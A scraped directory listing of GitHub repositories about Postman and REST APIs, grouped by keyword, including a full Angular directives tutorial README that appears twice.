book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks

reviews (8 listings) (Back to Top)

thenikhilk/jwt-auth-webapi
auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi 		The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. 1 stars 1 watchers 0 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
ahmedmohamed1101140/laravel-api
data, docs, dummy, laravel, product, products, resource, reviews, source 		simple api app contains dummy data about products and it's reviews built using laravel api resource docs 0 stars 0 watchers 0 forks
elmasria/final-customer-reviews-api
browser, customer, function, functioning, persistence, polyglot, reviews, spec, tool 		Create a fully functioning REST API with polyglot persistence that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
elmasria/midterm-customer-reviews-api
browser, customer, function, functioning, persistence, reviews, spec, tool 		Build a fully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
pvsenan/udacity-reviews-api
browser, city, function, functioning, persistence, reviews, spec, tool, udacity 		Build a reviews api with fully functioning REST API with persistence in RDBMS that can be inspected via a browser or a tool like Postman. 0 stars 0 watchers 0 forks
Simbadeveloper/AndelaCodeCamp
application, brings, business, businesses, catalog, customer, customers, developer, form, platform, register, reviews, user, users, web app 		a web application that provides a platform that brings businesses and individuals together. The platform will be a catalog where business owners can register their businesses for visibility to potential customers and will also give users (customers) the ability to write reviews for the businesses. 0 stars 0 watchers 0 forks
TJaySteno/P11-build-rest-api
course, rating, rest, reviews, site, store, stores, user, users, website 		This REST API handles requests for a course rating website. Using MongoDB, stores the reviews users make on different courses. 0 stars 0 watchers 0 forks

match (8 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
teamcasper/dog-match
backend, cost, design, designed, form, format, front end, information, location, match, mongo, test, tested 		Group project for Alchemy's code lab 401. It was designed for potential buyers and sellers to provide dog information such as cost, location, breed, etc. It was built using Node and mongoDB on the backend, and tested with postman and Heroku on the front end. 0 stars 0 watchers 2 forks
lucasbrito92/chinese-postman-problem
chinese, discover, match, problem, route, routes 		Chinese Postman Problem solved using Fleury Algorithm, Djisktra and Linear Programming to solve matching and discover routes. 0 stars 0 watchers 0 forks
Manimsn/Riskcovry-Second-Task-Phone-Number-
file, match, matched, result, search 		Node API to read and search the matched word from a txt file. Use Postman to view the results 0 stars 0 watchers 0 forks
matchimmo/django-postman
django, match 		django-postman 0 stars 0 watchers 0 forks
timmah1991/IDPA_Monitoring
match, monitor, monitoring, notification, notify, public, script, user 		Simple postman monitoring script for notifying user when a new IDPA match is posted (before public notification) 0 stars 0 watchers 0 forks

move (8 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
cprice-ping/Postman-Personal
entity, move, moved, rest 		Collections I'm working on - those of interest to the broader Ping Identity audience will be moved over 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
aq1/vkPostman
chat, friend, move, moved, telegram 		You removed yourself from VK but have some friends you want to chat? This telegram bot can help you! 0 stars 0 watchers 0 forks
Marqueb82/REST-employeeApp
employee, general, move, service, spec, spring, test, tested, user 		RESTful web service created using spring and tested with Postman. Uses general get and post requests for mapping and service will allow user to add, remove, view all and view specific employess based upon their ID. 0 stars 0 watchers 0 forks
papiuiulia/BooksAppReactJS-CRUD-basic
application, book, books, move, service, services, tool, user 		I created an application in ReactJS with REST services accomplished in Postman(an online tool). The user can add new books, edit existing ones or remove them. 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
